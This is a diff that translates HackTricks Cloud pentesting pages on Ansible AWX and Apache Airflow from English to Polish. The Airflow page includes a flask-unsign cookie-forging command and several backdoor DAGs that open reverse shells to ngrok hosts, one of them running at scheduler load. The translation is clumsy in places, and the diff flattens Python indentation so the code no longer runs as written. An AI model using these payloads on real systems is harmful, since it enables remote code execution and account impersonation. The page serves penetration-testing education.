diff --git a/src/README.md b/src/README.md
index 01b146fd1..81fd45a0b 100644
--- a/src/README.md
+++ b/src/README.md
@@ -9,23 +9,23 @@ Reading time: {{ #reading_time }}
_Hacktricks logos & motion designed by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
> [!TIP]
-> Welcome to the page where you will find each **hacking trick/technique/whatever related to CI/CD & Cloud** I have learnt in **CTFs**, **real** life **environments**, **researching**, and **reading** researches and news.
+> Witaj na stronie, na której znajdziesz każdy **hacking trick/technique/whatever związany z CI/CD i Cloud**, którego nauczyłem się w **CTF**, **prawdziwych** środowiskach **życiowych**, **badaniach** oraz **czytaniu** badań i wiadomości.
### **Pentesting CI/CD Methodology**
-**In the HackTricks CI/CD Methodology you will find how to pentest infrastructure related to CI/CD activities.** Read the following page for an **introduction:**
+**W metodologii HackTricks CI/CD znajdziesz, jak przeprowadzać pentesting infrastruktury związanej z działalnością CI/CD.** Przeczytaj następującą stronę, aby uzyskać **wprowadzenie:**
[pentesting-ci-cd-methodology.md](pentesting-ci-cd/pentesting-ci-cd-methodology.md)
### Pentesting Cloud Methodology
-**In the HackTricks Cloud Methodology you will find how to pentest cloud environments.** Read the following page for an **introduction:**
+**W metodologii HackTricks Cloud znajdziesz, jak przeprowadzać pentesting środowisk chmurowych.** Przeczytaj następującą stronę, aby uzyskać **wprowadzenie:**
[pentesting-cloud-methodology.md](pentesting-cloud/pentesting-cloud-methodology.md)
### License & Disclaimer
-**Check them in:**
+**Sprawdź je w:**
[HackTricks Values & FAQ](https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/welcome/hacktricks-values-and-faq)
@@ -34,7 +34,3 @@ _Hacktricks logos & motion designed by_ [_@ppiernacho_](https://www.instagram.co

{{#include ./banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/SUMMARY.md b/src/SUMMARY.md
index feae5163c..1b1d60c58 100644
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@@ -505,3 +505,5 @@
+
+
diff --git a/src/banners/hacktricks-training.md b/src/banners/hacktricks-training.md
index b684cee3d..553595841 100644
--- a/src/banners/hacktricks-training.md
+++ b/src/banners/hacktricks-training.md
@@ -1,17 +1,13 @@
> [!TIP]
-> Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-> Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+> Ucz się i ćwicz AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+> Ucz się i ćwicz GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
>
>
>
-> Support HackTricks
+> Wsparcie HackTricks
>
-> - Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-> - **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
-> - **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+> - Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
+> - **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
+> - **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
>
>
-
-
-
-
diff --git a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md
index d3fbf19e5..3abc20dea 100644
--- a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md
+++ b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md
@@ -4,60 +4,59 @@
## Basic Information
-**Ansible Tower** or it's opensource version [**AWX**](https://github.com/ansible/awx) is also known as **Ansible’s user interface, dashboard, and REST API**. With **role-based access control**, job scheduling, and graphical inventory management, you can manage your Ansible infrastructure from a modern UI. Tower’s REST API and command-line interface make it simple to integrate it into current tools and workflows.
+**Ansible Tower** lub jego wersja open source [**AWX**](https://github.com/ansible/awx) jest znany jako **interfejs użytkownika Ansible, pulpit nawigacyjny i REST API**. Dzięki **kontroli dostępu opartej na rolach**, harmonogramowaniu zadań i graficznemu zarządzaniu inwentarzem, możesz zarządzać swoją infrastrukturą Ansible z nowoczesnego interfejsu. REST API Towera i interfejs wiersza poleceń ułatwiają integrację z obecnymi narzędziami i przepływami pracy.
-**Automation Controller is a newer** version of Ansible Tower with more capabilities.
+**Automation Controller to nowsza** wersja Ansible Tower z większymi możliwościami.
### Differences
-According to [**this**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), the main differences between Ansible Tower and AWX is the received support and the Ansible Tower has additional features such as role-based access control, support for custom APIs, and user-defined workflows.
+Zgodnie z [**tym**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), główne różnice między Ansible Tower a AWX to otrzymywane wsparcie, a Ansible Tower ma dodatkowe funkcje, takie jak kontrola dostępu oparta na rolach, wsparcie dla niestandardowych API oraz zdefiniowane przez użytkownika przepływy pracy.
### Tech Stack
-- **Web Interface**: This is the graphical interface where users can manage inventories, credentials, templates, and jobs. It's designed to be intuitive and provides visualizations to help with understanding the state and results of your automation jobs.
-- **REST API**: Everything you can do in the web interface, you can also do via the REST API. This means you can integrate AWX/Tower with other systems or script actions that you'd typically perform in the interface.
-- **Database**: AWX/Tower uses a database (typically PostgreSQL) to store its configuration, job results, and other necessary operational data.
-- **RabbitMQ**: This is the messaging system used by AWX/Tower to communicate between the different components, especially between the web service and the task runners.
-- **Redis**: Redis serves as a cache and a backend for the task queue.
+- **Web Interface**: To graficzny interfejs, w którym użytkownicy mogą zarządzać inwentarzami, poświadczeniami, szablonami i zadaniami. Został zaprojektowany tak, aby był intuicyjny i zapewniał wizualizacje pomagające w zrozumieniu stanu i wyników twoich zadań automatyzacji.
+- **REST API**: Wszystko, co możesz zrobić w interfejsie webowym, możesz również zrobić za pomocą REST API. Oznacza to, że możesz zintegrować AWX/Tower z innymi systemami lub skryptować działania, które zazwyczaj wykonujesz w interfejsie.
+- **Database**: AWX/Tower używa bazy danych (zazwyczaj PostgreSQL) do przechowywania swojej konfiguracji, wyników zadań i innych niezbędnych danych operacyjnych.
+- **RabbitMQ**: To system komunikacji używany przez AWX/Tower do komunikacji między różnymi komponentami, szczególnie między usługą webową a wykonawcami zadań.
+- **Redis**: Redis służy jako pamięć podręczna i zaplecze dla kolejki zadań.
### Logical Components
-- **Inventories**: An inventory is a **collection of hosts (or nodes)** against which **jobs** (Ansible playbooks) can be **run**. AWX/Tower allows you to define and group your inventories and also supports dynamic inventories which can **fetch host lists from other systems** like AWS, Azure, etc.
-- **Projects**: A project is essentially a **collection of Ansible playbooks** sourced from a **version control system** (like Git) to pull the latest playbooks when needed..
-- **Templates**: Job templates define **how a particular playbook will be run**, specifying the **inventory**, **credentials**, and other **parameters** for the job.
-- **Credentials**: AWX/Tower provides a secure way to **manage and store secrets, such as SSH keys, passwords, and API tokens**. These credentials can be associated with job templates so that playbooks have the necessary access when they run.
-- **Task Engine**: This is where the magic happens. The task engine is built on Ansible and is responsible for **running the playbooks**. Jobs are dispatched to the task engine, which then runs the Ansible playbooks against the designated inventory using the specified credentials.
-- **Schedulers and Callbacks**: These are advanced features in AWX/Tower that allow **jobs to be scheduled** to run at specific times or triggered by external events.
-- **Notifications**: AWX/Tower can send notifications based on the success or failure of jobs. It supports various means of notifications such as emails, Slack messages, webhooks, etc.
-- **Ansible Playbooks**: Ansible playbooks are configuration, deployment, and orchestration tools. They describe the desired state of systems in an automated, repeatable way. Written in YAML, playbooks use Ansible's declarative automation language to describe configurations, tasks, and steps that need to be executed.
+- **Inventories**: Inwentarz to **zbiór hostów (lub węzłów)**, na których mogą być **uruchamiane zadania** (playbooki Ansible). AWX/Tower pozwala na definiowanie i grupowanie inwentarzy oraz wspiera dynamiczne inwentarze, które mogą **pobierać listy hostów z innych systemów** takich jak AWS, Azure itp.
+- **Projects**: Projekt to zasadniczo **zbiór playbooków Ansible** pochodzących z **systemu kontroli wersji** (takiego jak Git), aby pobierać najnowsze playbooki w razie potrzeby.
+- **Templates**: Szablony zadań definiują **jak dany playbook będzie uruchamiany**, określając **inwentarz**, **poświadczenia** i inne **parametry** dla zadania.
+- **Credentials**: AWX/Tower zapewnia bezpieczny sposób **zarządzania i przechowywania sekretów, takich jak klucze SSH, hasła i tokeny API**. Te poświadczenia mogą być powiązane z szablonami zadań, aby playbooki miały niezbędny dostęp podczas uruchamiania.
+- **Task Engine**: To tutaj dzieje się magia. Silnik zadań oparty jest na Ansible i odpowiada za **uruchamianie playbooków**. Zadania są przekazywane do silnika zadań, który następnie uruchamia playbooki Ansible na wyznaczonym inwentarzu, używając określonych poświadczeń.
+- **Schedulers and Callbacks**: To zaawansowane funkcje w AWX/Tower, które pozwalają na **harmonogramowanie zadań** do uruchamiania w określonych czasach lub wyzwalane przez zdarzenia zewnętrzne.
+- **Notifications**: AWX/Tower może wysyłać powiadomienia w zależności od sukcesu lub niepowodzenia zadań. Obsługuje różne środki powiadomień, takie jak e-maile, wiadomości Slack, webhooki itp.
+- **Ansible Playbooks**: Playbooki Ansible to narzędzia do konfiguracji, wdrażania i orkiestracji. Opisują pożądany stan systemów w sposób zautomatyzowany i powtarzalny. Napisane w YAML, playbooki używają deklaratywnego języka automatyzacji Ansible do opisywania konfiguracji, zadań i kroków, które muszą być wykonane.
### Job Execution Flow
-1. **User Interaction**: A user can interact with AWX/Tower either through the **Web Interface** or the **REST API**. These provide front-end access to all the functionalities offered by AWX/Tower.
+1. **User Interaction**: Użytkownik może interagować z AWX/Tower za pośrednictwem **Web Interface** lub **REST API**. Te zapewniają dostęp front-end do wszystkich funkcji oferowanych przez AWX/Tower.
2. **Job Initiation**:
- - The user, via the Web Interface or API, initiates a job based on a **Job Template**.
- - The Job Template includes references to the **Inventory**, **Project** (containing the playbook), and **Credentials**.
- - Upon job initiation, a request is sent to the AWX/Tower backend to queue the job for execution.
+- Użytkownik, za pośrednictwem interfejsu webowego lub API, inicjuje zadanie na podstawie **Job Template**.
+- Szablon zadania zawiera odniesienia do **Inventory**, **Project** (zawierającego playbook) i **Credentials**.
+- Po inicjacji zadania, żądanie jest wysyłane do zaplecza AWX/Tower, aby umieścić zadanie w kolejce do wykonania.
3. **Job Queuing**:
- - **RabbitMQ** handles the messaging between the web component and the task runners. Once a job is initiated, a message is dispatched to the task engine using RabbitMQ.
- - **Redis** acts as the backend for the task queue, managing queued jobs awaiting execution.
+- **RabbitMQ** obsługuje komunikację między komponentem webowym a wykonawcami zadań. Gdy zadanie jest inicjowane, wiadomość jest wysyłana do silnika zadań za pomocą RabbitMQ.
+- **Redis** działa jako zaplecze dla kolejki zadań, zarządzając zadaniami w kolejce oczekującymi na wykonanie.
4. **Job Execution**:
- - The **Task Engine** picks up the queued job. It retrieves the necessary information from the **Database** about the job's associated playbook, inventory, and credentials.
- - Using the retrieved Ansible playbook from the associated **Project**, the Task Engine runs the playbook against the specified **Inventory** nodes using the provided **Credentials**.
- - As the playbook runs, its execution output (logs, facts, etc.) gets captured and stored in the **Database**.
+- **Task Engine** odbiera zadanie z kolejki. Pobiera niezbędne informacje z **Database** o powiązanym playbooku, inwentarzu i poświadczeniach.
+- Używając pobranego playbooka Ansible z powiązanego **Project**, silnik zadań uruchamia playbook na określonych węzłach **Inventory** przy użyciu podanych **Credentials**.
+- W miarę uruchamiania playbooka, jego wyniki wykonania (logi, fakty itp.) są rejestrowane i przechowywane w **Database**.
5. **Job Results**:
- - Once the playbook finishes running, the results (success, failure, logs) are saved to the **Database**.
- - Users can then view the results through the Web Interface or query them via the REST API.
- - Based on job outcomes, **Notifications** can be dispatched to inform users or external systems about the job's status. Notifications could be emails, Slack messages, webhooks, etc.
+- Gdy playbook kończy działanie, wyniki (sukces, niepowodzenie, logi) są zapisywane w **Database**.
+- Użytkownicy mogą następnie przeglądać wyniki za pośrednictwem interfejsu webowego lub zapytywać je za pomocą REST API.
+- W zależności od wyników zadań, **Notifications** mogą być wysyłane, aby informować użytkowników lub zewnętrzne systemy o statusie zadania. Powiadomienia mogą być e-mailami, wiadomościami Slack, webhookami itp.
6. **External Systems Integration**:
- - **Inventories** can be dynamically sourced from external systems, allowing AWX/Tower to pull in hosts from sources like AWS, Azure, VMware, and more.
- - **Projects** (playbooks) can be fetched from version control systems, ensuring the use of up-to-date playbooks during job execution.
- - **Schedulers and Callbacks** can be used to integrate with other systems or tools, making AWX/Tower react to external triggers or run jobs at predetermined times.
+- **Inventories** mogą być dynamicznie pozyskiwane z zewnętrznych systemów, co pozwala AWX/Tower na pobieranie hostów z takich źródeł jak AWS, Azure, VMware i inne.
+- **Projects** (playbooki) mogą być pobierane z systemów kontroli wersji, zapewniając użycie aktualnych playbooków podczas wykonywania zadań.
+- **Schedulers and Callbacks** mogą być używane do integracji z innymi systemami lub narzędziami, co sprawia, że AWX/Tower reaguje na zewnętrzne wyzwalacze lub uruchamia zadania w ustalonych czasach.
### AWX lab creation for testing
-[**Following the docs**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) it's possible to use docker-compose to run AWX:
-
+[**Following the docs**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) można użyć docker-compose do uruchomienia AWX:
```bash
git clone -b x.y.z https://github.com/ansible/awx.git # Get in x.y.z the latest release version
@@ -83,61 +82,56 @@ docker exec -ti tools_awx_1 awx-manage createsuperuser
# Load demo data
docker exec tools_awx_1 awx-manage create_preload_data
```
-
## RBAC
-### Supported roles
+### Obsługiwane role
-The most privileged role is called **System Administrator**. Anyone with this role can **modify anything**.
+Najbardziej uprzywilejowaną rolą jest **Administrator Systemu**. Każdy z tą rolą może **modyfikować wszystko**.
-From a **white box security** review, you would need the **System Auditor role**, which allow to **view all system data** but cannot make any changes. Another option would be to get the **Organization Auditor role**, but it would be better to get the other one.
+Z perspektywy **przeglądu bezpieczeństwa białej skrzynki**, potrzebujesz roli **Audytora Systemu**, która pozwala na **przeglądanie wszystkich danych systemowych**, ale nie może wprowadzać żadnych zmian. Inną opcją byłoby uzyskanie roli **Audytora Organizacji**, ale lepiej byłoby uzyskać tę drugą.
-Expand this to get detailed description of available roles
+Rozwiń, aby uzyskać szczegółowy opis dostępnych ról
-1. **System Administrator**:
- - This is the superuser role with permissions to access and modify any resource in the system.
- - They can manage all organizations, teams, projects, inventories, job templates, etc.
-2. **System Auditor**:
- - Users with this role can view all system data but cannot make any changes.
- - This role is designed for compliance and oversight.
-3. **Organization Roles**:
- - **Admin**: Full control over the organization's resources.
- - **Auditor**: View-only access to the organization's resources.
- - **Member**: Basic membership in an organization without any specific permissions.
- - **Execute**: Can run job templates within the organization.
- - **Read**: Can view the organization’s resources.
-4. **Project Roles**:
- - **Admin**: Can manage and modify the project.
- - **Use**: Can use the project in a job template.
- - **Update**: Can update project using SCM (source control).
-5. **Inventory Roles**:
- - **Admin**: Can manage and modify the inventory.
- - **Ad Hoc**: Can run ad hoc commands on the inventory.
- - **Update**: Can update the inventory source.
- - **Use**: Can use the inventory in a job template.
- - **Read**: View-only access.
-6. **Job Template Roles**:
- - **Admin**: Can manage and modify the job template.
- - **Execute**: Can run the job.
- - **Read**: View-only access.
-7. **Credential Roles**:
- - **Admin**: Can manage and modify the credentials.
- - **Use**: Can use the credentials in job templates or other relevant resources.
- - **Read**: View-only access.
-8. **Team Roles**:
- - **Member**: Part of the team but without any specific permissions.
- - **Admin**: Can manage the team's members and associated resources.
-9. **Workflow Roles**:
- - **Admin**: Can manage and modify the workflow.
- - **Execute**: Can run the workflow.
- - **Read**: View-only access.
+1. **Administrator Systemu**:
+- To rola superużytkownika z uprawnieniami do dostępu i modyfikacji każdego zasobu w systemie.
+- Może zarządzać wszystkimi organizacjami, zespołami, projektami, inwentarzami, szablonami zadań itp.
+2. **Audytor Systemu**:
+- Użytkownicy z tą rolą mogą przeglądać wszystkie dane systemowe, ale nie mogą wprowadzać żadnych zmian.
+- Ta rola jest zaprojektowana dla zgodności i nadzoru.
+3. **Role Organizacji**:
+- **Admin**: Pełna kontrola nad zasobami organizacji.
+- **Audytor**: Tylko dostęp do przeglądania zasobów organizacji.
+- **Członek**: Podstawowe członkostwo w organizacji bez żadnych specyficznych uprawnień.
+- **Wykonaj**: Może uruchamiać szablony zadań w organizacji.
+- **Przeczytaj**: Może przeglądać zasoby organizacji.
+4. **Role Projektów**:
+- **Admin**: Może zarządzać i modyfikować projekt.
+- **Użyj**: Może używać projektu w szablonie zadania.
+- **Aktualizuj**: Może aktualizować projekt za pomocą SCM (kontrola wersji).
+5. **Role Inwentarza**:
+- **Admin**: Może zarządzać i modyfikować inwentarz.
+- **Ad Hoc**: Może uruchamiać polecenia ad hoc na inwentarzu.
+- **Aktualizuj**: Może aktualizować źródło inwentarza.
+- **Użyj**: Może używać inwentarza w szablonie zadania.
+- **Przeczytaj**: Tylko dostęp do przeglądania.
+6. **Role Szablonów Zadań**:
+- **Admin**: Może zarządzać i modyfikować szablon zadania.
+- **Wykonaj**: Może uruchomić zadanie.
+- **Przeczytaj**: Tylko dostęp do przeglądania.
+7. **Role Poświadczeń**:
+- **Admin**: Może zarządzać i modyfikować poświadczenia.
+- **Użyj**: Może używać poświadczeń w szablonach zadań lub innych odpowiednich zasobach.
+- **Przeczytaj**: Tylko dostęp do przeglądania.
+8. **Role Zespołów**:
+- **Członek**: Część zespołu, ale bez żadnych specyficznych uprawnień.
+- **Admin**: Może zarządzać członkami zespołu i powiązanymi zasobami.
+9. **Role Przepływu Pracy**:
+- **Admin**: Może zarządzać i modyfikować przepływ pracy.
+- **Wykonaj**: Może uruchomić przepływ pracy.
+- **Przeczytaj**: Tylko dostęp do przeglądania.
{{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/apache-airflow-security/README.md b/src/pentesting-ci-cd/apache-airflow-security/README.md
index aac46128c..c1d049456 100644
--- a/src/pentesting-ci-cd/apache-airflow-security/README.md
+++ b/src/pentesting-ci-cd/apache-airflow-security/README.md
@@ -2,22 +2,21 @@
{{#include ../../banners/hacktricks-training.md}}
-### Basic Information
+### Podstawowe informacje
-[**Apache Airflow**](https://airflow.apache.org) serves as a platform for **orchestrating and scheduling data pipelines or workflows**. The term "orchestration" in the context of data pipelines signifies the process of arranging, coordinating, and managing complex data workflows originating from various sources. The primary purpose of these orchestrated data pipelines is to furnish processed and consumable data sets. These data sets are extensively utilized by a myriad of applications, including but not limited to business intelligence tools, data science and machine learning models, all of which are foundational to the functioning of big data applications.
+[**Apache Airflow**](https://airflow.apache.org) służy jako platforma do **orkiestrowania i planowania potoków danych lub przepływów pracy**. Termin "orkiestracja" w kontekście potoków danych oznacza proces aranżowania, koordynowania i zarządzania złożonymi przepływami danych pochodzącymi z różnych źródeł. Głównym celem tych orkiestrujących potoków danych jest dostarczenie przetworzonych i nadających się do użycia zbiorów danych. Zbiory te są szeroko wykorzystywane przez wiele aplikacji, w tym, ale nie tylko, narzędzia do analizy biznesowej, modele nauki o danych i uczenia maszynowego, które są podstawą funkcjonowania aplikacji big data.
-Basically, Apache Airflow will allow you to **schedule the execution of code when something** (event, cron) **happens**.
+W zasadzie, Apache Airflow pozwoli Ci **zaplanować wykonanie kodu, gdy coś** (zdarzenie, cron) **się wydarzy**.
-### Local Lab
+### Lokalna laboratoria
#### Docker-Compose
-You can use the **docker-compose config file from** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) to launch a complete apache airflow docker environment. (If you are in MacOS make sure to give at least 6GB of RAM to the docker VM).
+Możesz użyć **pliku konfiguracyjnego docker-compose z** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml), aby uruchomić kompletną środowisko docker apache airflow. (Jeśli jesteś na MacOS, upewnij się, że przydzielisz co najmniej 6 GB RAM dla VM docker).
#### Minikube
-One easy way to **run apache airflo**w is to run it **with minikube**:
-
+Jednym z łatwych sposobów na **uruchomienie apache airflow** jest uruchomienie go **z minikube**:
```bash
helm repo add airflow-stable https://airflow-helm.github.io/charts
helm repo update
@@ -27,76 +26,72 @@ helm install airflow-release airflow-stable/airflow
# Use this command to delete it
helm delete airflow-release
```
+### Konfiguracja Airflow
-### Airflow Configuration
-
-Airflow might store **sensitive information** in its configuration or you can find weak configurations in place:
+Airflow może przechowywać **wrażliwe informacje** w swojej konfiguracji lub możesz znaleźć słabe konfiguracje:
{{#ref}}
airflow-configuration.md
{{#endref}}
-### Airflow RBAC
+### RBAC Airflow
-Before start attacking Airflow you should understand **how permissions work**:
+Zanim zaczniesz atakować Airflow, powinieneś zrozumieć **jak działają uprawnienia**:
{{#ref}}
airflow-rbac.md
{{#endref}}
-### Attacks
+### Ataki
-#### Web Console Enumeration
+#### Enumeracja konsoli internetowej
-If you have **access to the web console** you might be able to access some or all of the following information:
+Jeśli masz **dostęp do konsoli internetowej**, możesz uzyskać dostęp do niektórych lub wszystkich następujących informacji:
-- **Variables** (Custom sensitive information might be stored here)
-- **Connections** (Custom sensitive information might be stored here)
- - Access them in `http:///connection/list/`
-- [**Configuration**](./#airflow-configuration) (Sensitive information like the **`secret_key`** and passwords might be stored here)
-- List **users & roles**
-- **Code of each DAG** (which might contain interesting info)
+- **Zmienne** (Własne wrażliwe informacje mogą być tutaj przechowywane)
+- **Połączenia** (Własne wrażliwe informacje mogą być tutaj przechowywane)
+- Uzyskaj do nich dostęp w `http:///connection/list/`
+- [**Konfiguracja**](./#airflow-configuration) (Wrażliwe informacje, takie jak **`secret_key`** i hasła mogą być tutaj przechowywane)
+- Lista **użytkowników i ról**
+- **Kod każdego DAG** (który może zawierać interesujące informacje)
-#### Retrieve Variables Values
+#### Pobieranie wartości zmiennych
-Variables can be stored in Airflow so the **DAGs** can **access** their values. It's similar to secrets of other platforms. If you have **enough permissions** you can access them in the GUI in `http:///variable/list/`.\
-Airflow by default will show the value of the variable in the GUI, however, according to [**this**](https://marclamberti.com/blog/variables-with-apache-airflow/) it's possible to set a **list of variables** whose **value** will appear as **asterisks** in the **GUI**.
+Zmienne mogą być przechowywane w Airflow, aby **DAG** mogły **uzyskać** ich wartości. Jest to podobne do sekretów innych platform. Jeśli masz **wystarczające uprawnienia**, możesz uzyskać do nich dostęp w GUI w `http:///variable/list/`.\
+Airflow domyślnie pokaże wartość zmiennej w GUI, jednak zgodnie z [**tym**](https://marclamberti.com/blog/variables-with-apache-airflow/) możliwe jest ustawienie **listy zmiennych**, których **wartość** będzie wyświetlana jako **gwiazdki** w **GUI**.
.png>)
-However, these **values** can still be **retrieved** via **CLI** (you need to have DB access), **arbitrary DAG** execution, **API** accessing the variables endpoint (the API needs to be activated), and **even the GUI itself!**\
-To access those values from the GUI just **select the variables** you want to access and **click on Actions -> Export**.\
-Another way is to perform a **bruteforce** to the **hidden value** using the **search filtering** it until you get it:
+Jednak te **wartości** mogą być nadal **pobrane** za pomocą **CLI** (musisz mieć dostęp do bazy danych), **wykonywania dowolnego DAG**, **API** uzyskującego dostęp do punktu końcowego zmiennych (API musi być aktywowane) i **nawet samego GUI!**\
+Aby uzyskać dostęp do tych wartości z GUI, wystarczy **wybrać zmienne**, do których chcesz uzyskać dostęp i **kliknąć na Akcje -> Eksportuj**.\
+Innym sposobem jest przeprowadzenie **bruteforce** na **ukrytej wartości** za pomocą **filtrowania wyszukiwania**, aż ją uzyskasz:
.png>)
-#### Privilege Escalation
-
-If the **`expose_config`** configuration is set to **True**, from the **role User** and **upwards** can **read** the **config in the web**. In this config, the **`secret_key`** appears, which means any user with this valid they can **create its own signed cookie to impersonate any other user account**.
+#### Eskalacja uprawnień
+Jeśli konfiguracja **`expose_config`** jest ustawiona na **True**, z **rolą Użytkownik** i **wyżej** mogą **czytać** **konfigurację w sieci**. W tej konfiguracji pojawia się **`secret_key`**, co oznacza, że każdy użytkownik z tym ważnym kluczem może **utworzyć własny podpisany cookie, aby podszyć się pod inne konto użytkownika**.
```bash
flask-unsign --sign --secret '' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"
```
+#### DAG Backdoor (RCE w Airflow worker)
-#### DAG Backdoor (RCE in Airflow worker)
-
-If you have **write access** to the place where the **DAGs are saved**, you can just **create one** that will send you a **reverse shell.**\
-Note that this reverse shell is going to be executed inside an **airflow worker container**:
-
+Jeśli masz **uprawnienia do zapisu** w miejscu, gdzie **DAGi są zapisywane**, możesz po prostu **stworzyć jeden**, który wyśle ci **reverse shell.**\
+Zauważ, że ten reverse shell będzie wykonywany wewnątrz **kontenera airflow worker:**
```python
import pendulum
from airflow import DAG
from airflow.operators.bash import BashOperator
with DAG(
- dag_id='rev_shell_bash',
- schedule_interval='0 0 * * *',
- start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
+dag_id='rev_shell_bash',
+schedule_interval='0 0 * * *',
+start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
- run = BashOperator(
- task_id='run',
- bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1',
- )
+run = BashOperator(
+task_id='run',
+bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1',
+)
```
```python
@@ -105,75 +100,66 @@ from airflow import DAG
from airflow.operators.python import PythonOperator
def rs(rhost, port):
- s = socket.socket()
- s.connect((rhost, port))
- [os.dup2(s.fileno(),fd) for fd in (0,1,2)]
- pty.spawn("/bin/sh")
+s = socket.socket()
+s.connect((rhost, port))
+[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
+pty.spawn("/bin/sh")
with DAG(
- dag_id='rev_shell_python',
- schedule_interval='0 0 * * *',
- start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
+dag_id='rev_shell_python',
+schedule_interval='0 0 * * *',
+start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
- run = PythonOperator(
- task_id='rs_python',
- python_callable=rs,
- op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
- )
+run = PythonOperator(
+task_id='rs_python',
+python_callable=rs,
+op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
+)
```
+#### DAG Backdoor (RCE w harmonogramie Airflow)
-#### DAG Backdoor (RCE in Airflow scheduler)
-
-If you set something to be **executed in the root of the code**, at the moment of this writing, it will be **executed by the scheduler** after a couple of seconds after placing it inside the DAG's folder.
-
+Jeśli ustawisz coś do **wykonania w katalogu głównym kodu**, w momencie pisania tego tekstu, zostanie to **wykonane przez harmonogram** po kilku sekundach od umieszczenia go w folderze DAG.
```python
import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator
def rs(rhost, port):
- s = socket.socket()
- s.connect((rhost, port))
- [os.dup2(s.fileno(),fd) for fd in (0,1,2)]
- pty.spawn("/bin/sh")
+s = socket.socket()
+s.connect((rhost, port))
+[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
+pty.spawn("/bin/sh")
rs("2.tcp.ngrok.io", 14403)
with DAG(
- dag_id='rev_shell_python2',
- schedule_interval='0 0 * * *',
- start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
+dag_id='rev_shell_python2',
+schedule_interval='0 0 * * *',
+start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
- run = PythonOperator(
- task_id='rs_python2',
- python_callable=rs,
- op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
+run = PythonOperator(
+task_id='rs_python2',
+python_callable=rs,
+op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
```
+#### Tworzenie DAG
-#### DAG Creation
+Jeśli uda ci się **skompromentować maszynę w klastrze DAG**, możesz stworzyć nowe **skrypty DAG** w folderze `dags/`, a one będą **replikowane w pozostałych maszynach** w klastrze DAG.
-If you manage to **compromise a machine inside the DAG cluster**, you can create new **DAGs scripts** in the `dags/` folder and they will be **replicated in the rest of the machines** inside the DAG cluster.
+#### Wstrzykiwanie kodu DAG
-#### DAG Code Injection
+Kiedy wykonujesz DAG z GUI, możesz **przekazać argumenty** do niego.\
+Dlatego, jeśli DAG nie jest odpowiednio zakodowany, może być **vulnerable to Command Injection.**\
+To właśnie wydarzyło się w tym CVE: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
-When you execute a DAG from the GUI you can **pass arguments** to it.\
-Therefore, if the DAG is not properly coded it could be **vulnerable to Command Injection.**\
-That is what happened in this CVE: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
-
-All you need to know to **start looking for command injections in DAGs** is that **parameters** are **accessed** with the code **`dag_run.conf.get("param_name")`**.
-
-Moreover, the same vulnerability might occur with **variables** (note that with enough privileges you could **control the value of the variables** in the GUI). Variables are **accessed with**:
